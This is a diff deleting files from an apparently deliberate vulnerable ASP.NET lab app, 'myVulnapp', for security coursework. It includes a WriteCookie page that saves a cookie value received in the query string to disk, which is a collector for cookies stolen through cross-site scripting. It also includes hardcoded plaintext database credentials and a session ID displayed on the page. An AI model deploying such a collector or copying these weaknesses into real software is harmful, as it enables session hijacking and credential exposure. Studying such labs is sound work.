Note that because there is only one customErrors section under the
|
||||
<system.web> node, there is no need to use the "xdt:Locator" attribute.
|
||||
|
||||
<customErrors defaultRedirect="GenericError.htm"
|
||||
mode="RemoteOnly" xdt:Transform="Replace">
|
||||
<error statusCode="500" redirect="InternalError.htm"/>
|
||||
</customErrors>
|
||||
-->
|
||||
</system.web>
|
||||
</configuration>
|
@ -1,53 +0,0 @@
|
||||
<?xml version="1.0"?>
|
||||
|
||||
<!--
|
||||
For more information on how to configure your ASP.NET application, please visit
|
||||
http://go.microsoft.com/fwlink/?LinkId=169433
|
||||
-->
|
||||
|
||||
<configuration>
|
||||
<connectionStrings>
|
||||
<add name="ApplicationServices" connectionString="data source=theoden.ce.chalmers.se;Integrated Security=SSPI;AttachDBFilename=|DataDirectory|\aspnetdb.mdf;User Instance=true"
|
||||
providerName="System.Data.SqlClient" />
|
||||
<add name="myVulnappDBConnectionString" connectionString="Data Source=theoden.ce.chalmers.se;Initial Catalog=myVulnappDB;Integrated Security=False;UID=myvulnapp;PWD=myvulnapp"
|
||||
providerName="System.Data.SqlClient" />
|
||||
</connectionStrings>
|
||||
|
||||
<system.web>
|
||||
<compilation debug="true" targetFramework="4.0" />
|
||||
|
||||
<authentication mode="Forms">
|
||||
<forms loginUrl="~/Account/Login.aspx" timeout="2880" />
|
||||
</authentication>
|
||||
|
||||
<membership>
|
||||
<providers>
|
||||
<clear/>
|
||||
<add name="AspNetSqlMembershipProvider" type="System.Web.Security.SqlMembershipProvider" connectionStringName="ApplicationServices"
|
||||
enablePasswordRetrieval="false" enablePasswordReset="true" requiresQuestionAndAnswer="false" requiresUniqueEmail="false"
|
||||
maxInvalidPasswordAttempts="5" minRequiredPasswordLength="6" minRequiredNonalphanumericCharacters="0" passwordAttemptWindow="10"
|
||||
applicationName="/" />
|
||||
</providers>
|
||||
</membership>
|
||||
|
||||
<profile>
|
||||
<providers>
|
||||
<clear/>
|
||||
<add name="AspNetSqlProfileProvider" type="System.Web.Profile.SqlProfileProvider" connectionStringName="ApplicationServices" applicationName="/"/>
|
||||
</providers>
|
||||
</profile>
|
||||
|
||||
<roleManager enabled="false">
|
||||
<providers>
|
||||
<clear/>
|
||||
<add name="AspNetSqlRoleProvider" type="System.Web.Security.SqlRoleProvider" connectionStringName="ApplicationServices" applicationName="/" />
|
||||
<add name="AspNetWindowsTokenRoleProvider" type="System.Web.Security.WindowsTokenRoleProvider" applicationName="/" />
|
||||
</providers>
|
||||
</roleManager>
|
||||
|
||||
</system.web>
|
||||
|
||||
<system.webServer>
|
||||
<modules runAllManagedModulesForAllRequests="true"/>
|
||||
</system.webServer>
|
||||
</configuration>
|
@ -1,16 +0,0 @@
|
||||
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="WriteCookie.aspx.cs" Inherits="myWebApplication.WriteCookie1" %>
|
||||
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head runat="server">
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
<form id="form1" runat="server">
|
||||
<div>
|
||||
|
||||
</div>
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
@ -1,24 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Web;
|
||||
using System.Web.UI;
|
||||
using System.Web.UI.WebControls;
|
||||
using System.IO;
|
||||
|
||||
namespace myWebApplication
|
||||
{
|
||||
public partial class WriteCookie1 : System.Web.UI.Page
|
||||
{
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
//write the input data to disk
|
||||
String cookie = Request.QueryString.Get("cookie");
|
||||
String filename = AppDomain.CurrentDomain.BaseDirectory+("\\..\\cookie.txt");
|
||||
System.IO.StreamWriter file = new System.IO.StreamWriter(filename);
|
||||
file.WriteLine(cookie);
|
||||
file.Close();
|
||||
|
||||
}
|
||||
}
|
||||
}
|
@ -1,26 +0,0 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace myWebApplication
|
||||
{
|
||||
|
||||
|
||||
public partial class WriteCookie1
|
||||
{
|
||||
|
||||
/// <summary>
|
||||
/// form1 control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.HtmlControls.HtmlForm form1;
|
||||
}
|
||||
}
|
Binary file not shown.
Before Width: | Height: | Size: 44 KiB |
@ -1,67 +0,0 @@
|
||||
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="default.aspx.cs" Inherits="myWebApplication._default" %>
|
||||
|
||||
<%@ Register src="Buyform.ascx" tagname="Buyform" tagprefix="uc1" %>
|
||||
<%@ Register src="Thankyou.ascx" tagname="Thankyou" tagprefix="uc2" %>
|
||||
|
||||
<%@ Register src="Uploadfile.ascx" tagname="Uploadfile" tagprefix="uc3" %>
|
||||
|
||||
<%@ Register src="ViewComments.ascx" tagname="ViewComments" tagprefix="uc4" %>
|
||||
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head runat="server">
|
||||
<title>Main. You're lucky to be here</title>
|
||||
<link href="Styles/Site.css" rel="stylesheet" type="text/css" />
|
||||
</head>
|
||||
<body>
|
||||
<div class="center" >
|
||||
|
||||
<form id="form1" runat="server">
|
||||
|
||||
<div class="top" >
|
||||
<br />
|
||||
<br />
|
||||
<div style="text-align:center;" >
|
||||
<a href="Default.aspx?page=0">Home</a> |
|
||||
<a href="Default.aspx?page=1">Buy stuff</a> |
|
||||
<a href="Default.aspx?page=3">Upload file</a> |
|
||||
<a href="Default.aspx?page=4">View Comments</a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="main">
|
||||
<div class="left" >
|
||||
|
||||
<asp:Panel ID="Panel_Buy" runat="server" Visible="true" >
|
||||
<uc1:Buyform ID="Buyform" runat="server" />
|
||||
</asp:Panel>
|
||||
<asp:Panel ID="Panel_Thankyou" runat="server" Visible = "false" >
|
||||
<uc2:Thankyou ID="Thankyou" runat="server" />
|
||||
</asp:Panel>
|
||||
<asp:Panel ID="Panel_Uploadfile" runat="server" Visible = "false" >
|
||||
<uc3:Uploadfile ID="Uploadfile" runat="server" />
|
||||
</asp:Panel>
|
||||
<asp:Panel ID="Panel_Viewcomments" runat="server" Visible = "false" >
|
||||
<uc4:ViewComments ID="ViewComments1" runat="server" />
|
||||
</asp:Panel>
|
||||
|
||||
</div>
|
||||
<div class="right">
|
||||
<h3>
|
||||
<asp:Label ID="welcome" Style="color:#AAAAAA;" Text="" runat="server" /><br />
|
||||
<asp:Label ID="welcome2" Style="color:#AAAAAA;" Text="" runat="server" />
|
||||
</h3>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom" >
|
||||
<asp:Button ID="logout" Text="Logout" runat="server" onclick="logout_Click" />
|
||||
|
||||
|
||||
|
||||
|
||||
All things Sonic Death Monkey. Directly stolen from High Fidelity movie. As a tribute of sorts... Like it?
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
@ -1,72 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Web;
|
||||
using System.Web.UI;
|
||||
using System.Web.UI.WebControls;
|
||||
|
||||
namespace myWebApplication
|
||||
{
|
||||
public partial class _default : System.Web.UI.Page
|
||||
{
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
//check if cookie exists, if not redirect to login.aspx
|
||||
//go to user table, retrieve the post where the sessionID matches
|
||||
|
||||
if (Request.Cookies.Get("auth") == null)
|
||||
{
|
||||
Response.Redirect("Login.aspx");
|
||||
}
|
||||
String username = SQLaccess.GetUserFromID(Request.Cookies.Get("auth").Value);
|
||||
|
||||
if (username != null)
|
||||
{
|
||||
Session["loggedin"] = true;
|
||||
Session["auth"] = Request.Cookies.Get("auth").Value;
|
||||
welcome.Text = "Welcome to the system " + username + ".";
|
||||
welcome2.Text = "Your sessionID is: " + Session["auth"].ToString() + ".";
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
Response.Redirect("login.aspx");
|
||||
}
|
||||
|
||||
//panels
|
||||
Panel_Buy.Visible = false;
|
||||
Panel_Thankyou.Visible = false;
|
||||
Panel_Uploadfile.Visible = false;
|
||||
Panel_Viewcomments.Visible = false;
|
||||
|
||||
int page;
|
||||
int.TryParse(Request.QueryString.Get("page"), out page);
|
||||
|
||||
switch (page)
|
||||
{
|
||||
case 0: break;
|
||||
case 1: if ((Boolean)Session["loggedin"] == true) { Panel_Buy.Visible = true; } break;
|
||||
case 2: if ((Boolean)Session["loggedin"] == true) { Panel_Thankyou.Visible = true; } break;
|
||||
case 3: if ((Boolean)Session["loggedin"] == true) { Panel_Uploadfile.Visible = true; } break;
|
||||
case 4: if ((Boolean)Session["loggedin"] == true) { Panel_Viewcomments.Visible = true; } break;
|
||||
default: Response.Redirect("login.aspx"); break;
|
||||
}
|
||||
}
|
||||
|
||||
protected void logout_Click(object sender, EventArgs e)
|
||||
{
|
||||
//remove sessionID from database
|
||||
String record = SQLaccess.GetRecordFromID(Request.Cookies.Get("auth").Value);
|
||||
if (record != null)
|
||||
{
|
||||
SQLaccess.InsertSessionID(record,"-1");
|
||||
}
|
||||
Request.Cookies.Clear();
|
||||
Response.Cookies["auth"].Expires = DateTime.Now;
|
||||
Response.Cookies["name"].Expires = DateTime.Now;
|
||||
Session.Clear();
|
||||
Response.Redirect("login.aspx");
|
||||
|
||||
}
|
||||
}
|
||||
}
|
123
lab3/cs_lab3/myWebApplication/default.aspx.designer.cs
generated
123
lab3/cs_lab3/myWebApplication/default.aspx.designer.cs
generated
@ -1,123 +0,0 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace myWebApplication {
|
||||
|
||||
|
||||
public partial class _default {
|
||||
|
||||
/// <summary>
|
||||
/// form1 control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.HtmlControls.HtmlForm form1;
|
||||
|
||||
/// <summary>
|
||||
/// Panel_Buy control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Panel Panel_Buy;
|
||||
|
||||
/// <summary>
|
||||
/// Buyform control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::myWebApplication.Buyform Buyform;
|
||||
|
||||
/// <summary>
|
||||
/// Panel_Thankyou control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Panel Panel_Thankyou;
|
||||
|
||||
/// <summary>
|
||||
/// Thankyou control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::myWebApplication.Thankyou Thankyou;
|
||||
|
||||
/// <summary>
|
||||
/// Panel_Uploadfile control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Panel Panel_Uploadfile;
|
||||
|
||||
/// <summary>
|
||||
/// Uploadfile control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::myWebApplication.Uploadfile Uploadfile;
|
||||
|
||||
/// <summary>
|
||||
/// Panel_Viewcomments control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Panel Panel_Viewcomments;
|
||||
|
||||
/// <summary>
|
||||
/// ViewComments1 control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::myWebApplication.ViewComments ViewComments1;
|
||||
|
||||
/// <summary>
|
||||
/// welcome control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Label welcome;
|
||||
|
||||
/// <summary>
|
||||
/// welcome2 control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Label welcome2;
|
||||
|
||||
/// <summary>
|
||||
/// logout control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Button logout;
|
||||
}
|
||||
}
|
Binary file not shown.
Before Width: | Height: | Size: 18 KiB |
Binary file not shown.
Before Width: | Height: | Size: 12 KiB |
Binary file not shown.
Before Width: | Height: | Size: 9.6 KiB |
Binary file not shown.
Before Width: | Height: | Size: 31 KiB |
Binary file not shown.
Before Width: | Height: | Size: 6.0 KiB |
@ -1,44 +0,0 @@
|
||||
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="login.aspx.cs" Inherits="myWebApplication.login" %>
|
||||
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head runat="server">
|
||||
<title>All things Sonic Death Monkey</title>
|
||||
<link href="Styles/Site.css" rel="stylesheet" type="text/css" />
|
||||
</head>
|
||||
<body>
|
||||
<div class="center">
|
||||
|
||||
|
||||
<div class="top">
|
||||
<form id="form1" runat="server">
|
||||
<div>
|
||||
<br /><br />
|
||||
<asp:Label ID="lblusername" runat="server" Text="Username"></asp:Label>
|
||||
<asp:TextBox ID="txtusername" runat="server"></asp:TextBox>
|
||||
<asp:Label ID="lblpassword" runat="server" Text="Password"></asp:Label>
|
||||
<asp:TextBox ID="txtpassword" runat="server"></asp:TextBox>
|
||||
<asp:Button ID="submit" runat="server" Text="Login" onclick="submit_Click" />
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
<div class="main">
|
||||
<div class="left">
|
||||
Everything Sonic Death Monkey. Enter the site. Members only ...
|
||||
<br />
|
||||
Go figure it out for yourself. I double-dare you!
|
||||
<br />
|
||||
<br />
|
||||
Page lacks content? YOU lack content.
|
||||
</div>
|
||||
<div class="right">
|
||||
<img src="../images/sdm_jackblack.jpg" height="160px" width="290px" alt="Jb" />
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom">
|
||||
All things Sonic Death Monkey. Directly stolen from High Fidelity movie. As a tribute of sorts... Like it?
|
||||
<a href="Feedback.aspx">Send Feedback</a>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
@ -1,48 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Web;
|
||||
using System.Web.UI;
|
||||
using System.Web.UI.WebControls;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace myWebApplication
|
||||
{
|
||||
public partial class login : System.Web.UI.Page
|
||||
{
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
protected void submit_Click(object sender, EventArgs e)
|
||||
{
|
||||
String record;
|
||||
if ((record = SQLaccess.checkUserPass(txtusername.Text, txtpassword.Text)) == null)
|
||||
{
|
||||
//no such user, redirect
|
||||
Response.Redirect("login.aspx");
|
||||
}
|
||||
|
||||
//this is a problem
|
||||
|
||||
else
|
||||
{
|
||||
//set cookie
|
||||
//generate secure random number as session cookie
|
||||
byte [] b = new byte[10];
|
||||
RandomNumberGenerator rng = RandomNumberGenerator.Create();
|
||||
rng.GetBytes(b);
|
||||
String sid = Helpers.CalculateMD5Hash(b);
|
||||
HttpCookie auth = new HttpCookie("auth",sid);
|
||||
//write session cookie to database for user
|
||||
SQLaccess.InsertSessionID(record, sid);
|
||||
|
||||
Session["auth"] = auth;
|
||||
Response.Cookies.Add(auth);
|
||||
Response.Redirect("default.aspx?page=0");
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
69
lab3/cs_lab3/myWebApplication/login.aspx.designer.cs
generated
69
lab3/cs_lab3/myWebApplication/login.aspx.designer.cs
generated
@ -1,69 +0,0 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace myWebApplication {
|
||||
|
||||
|
||||
public partial class login {
|
||||
|
||||
/// <summary>
|
||||
/// form1 control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.HtmlControls.HtmlForm form1;
|
||||
|
||||
/// <summary>
|
||||
/// lblusername control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Label lblusername;
|
||||
|
||||
/// <summary>
|
||||
/// txtusername control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.TextBox txtusername;
|
||||
|
||||
/// <summary>
|
||||
/// lblpassword control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Label lblpassword;
|
||||
|
||||
/// <summary>
|
||||
/// txtpassword control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.TextBox txtpassword;
|
||||
|
||||
/// <summary>
|
||||
/// submit control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Button submit;
|
||||
}
|
||||
}
|
@ -1,242 +0,0 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
// Runtime Version:4.0.30319.586
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
#pragma warning disable 1591
|
||||
|
||||
namespace myWebApplication {
|
||||
|
||||
|
||||
/// <summary>
|
||||
///Represents a strongly typed in-memory cache of data.
|
||||
///</summary>
|
||||
[global::System.Serializable()]
|
||||
[global::System.ComponentModel.DesignerCategoryAttribute("code")]
|
||||
[global::System.ComponentModel.ToolboxItem(true)]
|
||||
[global::System.Xml.Serialization.XmlSchemaProviderAttribute("GetTypedDataSetSchema")]
|
||||
[global::System.Xml.Serialization.XmlRootAttribute("myVulnappDBDataSet")]
|
||||
[global::System.ComponentModel.Design.HelpKeywordAttribute("vs.data.DataSet")]
|
||||
public partial class myVulnappDBDataSet : global::System.Data.DataSet {
|
||||
|
||||
private global::System.Data.SchemaSerializationMode _schemaSerializationMode = global::System.Data.SchemaSerializationMode.IncludeSchema;
|
||||
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Data.Design.TypedDataSetGenerator", "4.0.0.0")]
|
||||
public myVulnappDBDataSet() {
|
||||
this.BeginInit();
|
||||
this.InitClass();
|
||||
global::System.ComponentModel.CollectionChangeEventHandler schemaChangedHandler = new global::System.ComponentModel.CollectionChangeEventHandler(this.SchemaChanged);
|
||||
base.Tables.CollectionChanged += schemaChangedHandler;
|
||||
base.Relations.CollectionChanged += schemaChangedHandler;
|
||||
this.EndInit();
|
||||
}
|
||||
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Data.Design.TypedDataSetGenerator", "4.0.0.0")]
|
||||
protected myVulnappDBDataSet(global::System.Runtime.Serialization.SerializationInfo info, global::System.Runtime.Serialization.StreamingContext context) :
|
||||
base(info, context, false) {
|
||||
if ((this.IsBinarySerialized(info, context) == true)) {
|
||||
this.InitVars(false);
|
||||
global::System.ComponentModel.CollectionChangeEventHandler schemaChangedHandler1 = new global::System.ComponentModel.CollectionChangeEventHandler(this.SchemaChanged);
|
||||
this.Tables.CollectionChanged += schemaChangedHandler1;
|
||||
this.Relations.CollectionChanged += schemaChangedHandler1;
|
||||
return;
|
||||
}
|
||||
string strSchema = ((string)(info.GetValue("XmlSchema", typeof(string))));
|
||||
if ((this.DetermineSchemaSerializationMode(info, context) == global::System.Data.SchemaSerializationMode.IncludeSchema)) {
|
||||
global::System.Data.DataSet ds = new global::System.Data.DataSet();
|
||||
ds.ReadXmlSchema(new global::System.Xml.XmlTextReader(new global::System.IO.StringReader(strSchema)));
|
||||
this.DataSetName = ds.DataSetName;
|
||||
this.Prefix = ds.Prefix;
|
||||
this.Namespace = ds.Namespace;
|
||||
this.Locale = ds.Locale;
|
||||
this.CaseSensitive = ds.CaseSensitive;
|
||||
this.EnforceConstraints = ds.EnforceConstraints;
|
||||
this.Merge(ds, false, global::System.Data.MissingSchemaAction.Add);
|
||||
this.InitVars();
|
||||
}
|
||||
else {
|
||||
this.ReadXmlSchema(new global::System.Xml.XmlTextReader(new global::System.IO.StringReader(strSchema)));
|
||||
}
|
||||
this.GetSerializationData(info, context);
|
||||
global::System.ComponentModel.CollectionChangeEventHandler schemaChangedHandler = new global::System.ComponentModel.CollectionChangeEventHandler(this.SchemaChanged);
|
||||
base.Tables.CollectionChanged += schemaChangedHandler;
|
||||
this.Relations.CollectionChanged += schemaChangedHandler;
|
||||
}
|
||||
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Data.Design.TypedDataSetGenerator", "4.0.0.0")]
|
||||
[global::System.ComponentModel.BrowsableAttribute(true)]
|
||||
[global::System.ComponentModel.DesignerSerializationVisibilityAttribute(global::System.ComponentModel.DesignerSerializationVisibility.Visible)]
|
||||
public override global::System.Data.SchemaSerializationMode SchemaSerializationMode {
|
||||
get {
|
||||
return this._schemaSerializationMode;
|
||||
}
|
||||
set {
|
||||
this._schemaSerializationMode = value;
|
||||
}
|
||||
}
|
||||
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Data.Design.TypedDataSetGenerator", "4.0.0.0")]
|
||||
[global::System.ComponentModel.DesignerSerializationVisibilityAttribute(global::System.ComponentModel.DesignerSerializationVisibility.Hidden)]
|
||||
public new global::System.Data.DataTableCollection Tables {
|
||||
get {
|
||||
return base.Tables;
|
||||
}
|
||||
}
|
||||
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Data.Design.TypedDataSetGenerator", "4.0.0.0")]
|
||||
[global::System.ComponentModel.DesignerSerializationVisibilityAttribute(global::System.ComponentModel.DesignerSerializationVisibility.Hidden)]
|
||||
public new global::System.Data.DataRelationCollection Relations {
|
||||
get {
|
||||
return base.Relations;
|
||||
}
|
||||
}
|
||||
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Data.Design.TypedDataSetGenerator", "4.0.0.0")]
|
||||
protected override void InitializeDerivedDataSet() {
|
||||
this.BeginInit();
|
||||
this.InitClass();
|
||||
this.EndInit();
|
||||
}
|
||||
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Data.Design.TypedDataSetGenerator", "4.0.0.0")]
|
||||
public override global::System.Data.DataSet Clone() {
|
||||
myVulnappDBDataSet cln = ((myVulnappDBDataSet)(base.Clone()));
|
||||
cln.InitVars();
|
||||
cln.SchemaSerializationMode = this.SchemaSerializationMode;
|
||||
return cln;
|
||||
}
|
||||
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Data.Design.TypedDataSetGenerator", "4.0.0.0")]
|
||||
protected override bool ShouldSerializeTables() {
|
||||
return false;
|
||||
}
|
||||
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Data.Design.TypedDataSetGenerator", "4.0.0.0")]
|
||||
protected override bool ShouldSerializeRelations() {
|
||||
return false;
|
||||
}
|
||||
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Data.Design.TypedDataSetGenerator", "4.0.0.0")]
|
||||
protected override void ReadXmlSerializable(global::System.Xml.XmlReader reader) {
|
||||
if ((this.DetermineSchemaSerializationMode(reader) == global::System.Data.SchemaSerializationMode.IncludeSchema)) {
|
||||
this.Reset();
|
||||
global::System.Data.DataSet ds = new global::System.Data.DataSet();
|
||||
ds.ReadXml(reader);
|
||||
this.DataSetName = ds.DataSetName;
|
||||
this.Prefix = ds.Prefix;
|
||||
this.Namespace = ds.Namespace;
|
||||
this.Locale = ds.Locale;
|
||||
this.CaseSensitive = ds.CaseSensitive;
|
||||
this.EnforceConstraints = ds.EnforceConstraints;
|
||||
this.Merge(ds, false, global::System.Data.MissingSchemaAction.Add);
|
||||
this.InitVars();
|
||||
}
|
||||
else {
|
||||
this.ReadXml(reader);
|
||||
this.InitVars();
|
||||
}
|
||||
}
|
||||
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Data.Design.TypedDataSetGenerator", "4.0.0.0")]
|
||||
protected override global::System.Xml.Schema.XmlSchema GetSchemaSerializable() {
|
||||
global::System.IO.MemoryStream stream = new global::System.IO.MemoryStream();
|
||||
this.WriteXmlSchema(new global::System.Xml.XmlTextWriter(stream, null));
|
||||
stream.Position = 0;
|
||||
return global::System.Xml.Schema.XmlSchema.Read(new global::System.Xml.XmlTextReader(stream), null);
|
||||
}
|
||||
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Data.Design.TypedDataSetGenerator", "4.0.0.0")]
|
||||
internal void InitVars() {
|
||||
this.InitVars(true);
|
||||
}
|
||||
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Data.Design.TypedDataSetGenerator", "4.0.0.0")]
|
||||
internal void InitVars(bool initTable) {
|
||||
}
|
||||
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Data.Design.TypedDataSetGenerator", "4.0.0.0")]
|
||||
private void InitClass() {
|
||||
this.DataSetName = "myVulnappDBDataSet";
|
||||
this.Prefix = "";
|
||||
this.Namespace = "http://tempuri.org/myVulnappDBDataSet.xsd";
|
||||
this.EnforceConstraints = true;
|
||||
this.SchemaSerializationMode = global::System.Data.SchemaSerializationMode.IncludeSchema;
|
||||
}
|
||||
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Data.Design.TypedDataSetGenerator", "4.0.0.0")]
|
||||
private void SchemaChanged(object sender, global::System.ComponentModel.CollectionChangeEventArgs e) {
|
||||
if ((e.Action == global::System.ComponentModel.CollectionChangeAction.Remove)) {
|
||||
this.InitVars();
|
||||
}
|
||||
}
|
||||
|
